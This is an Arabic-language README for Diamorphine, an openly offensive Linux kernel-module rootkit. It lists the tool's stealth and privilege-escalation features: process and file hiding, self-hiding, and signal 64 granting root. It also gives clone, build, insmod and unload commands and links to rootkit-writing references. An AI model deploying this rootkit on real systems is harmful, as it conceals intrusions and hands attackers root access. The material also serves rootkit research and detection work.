Diamorphine

Diamorphine هي أداة اختراق من نوع LKM لأنوية لينكس 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 و ARM64)

الميزات

• عند التحميل، تبدأ الوحدة غير مرئية؛

• إخفاء/إظهار أي عملية عن طريق إرسال الإشارة 31؛

• إرسال الإشارة 63 (إلى أي pid) يجعل الوحدة تصبح (غير) مرئية؛

• إرسال الإشارة 64 (إلى أي pid) يجعل المستخدم المعطى يصبح root؛

• الملفات أو المجلدات التي تبدأ بـ MAGIC_PREFIX تصبح غير مرئية؛

• المصدر: https://github.com/m0nad/Diamorphine

التثبيت

تحقق مما إذا كان النواة من الإصدار 2.6.x/3.x/4.x/5.x/6.x

uname -r

استنساخ المستودع

git clone https://github.com/m0nad/Diamorphine

ادخل إلى المجلد

cd Diamorphine

تجميع

make

تحميل الوحدة (كجذر)

insmod diamorphine.ko

إلغاء التثبيت

الوحدة تبدأ غير مرئية، لإزالتها تحتاج إلى جعلها مرئية

kill -63 0

ثم قم بإزالة الوحدة (كجذر)

rmmod diamorphine

المراجع

ويكيبيديا روت كيت https://en.wikipedia.org/wiki/Rootkit

سائقات أجهزة لينكس http://lwn.net/Kernel/LDD3/

LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

مدونة Memset http://memset.wordpress.com/

تصحيح النواة على الطائر دون LKM http://phrack.org/issues/58/7.html

كتابة روت كيت بسيط للينكس https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

مرجع لينكس المتقاطع http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

روت كيت لينكس: طرق جديدة للنواة 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/

FlipSwitch: تقنية خطف استدعاءات النظام الجديدة https://www.elastic.co/security-labs/flipswitch-linux-rootkit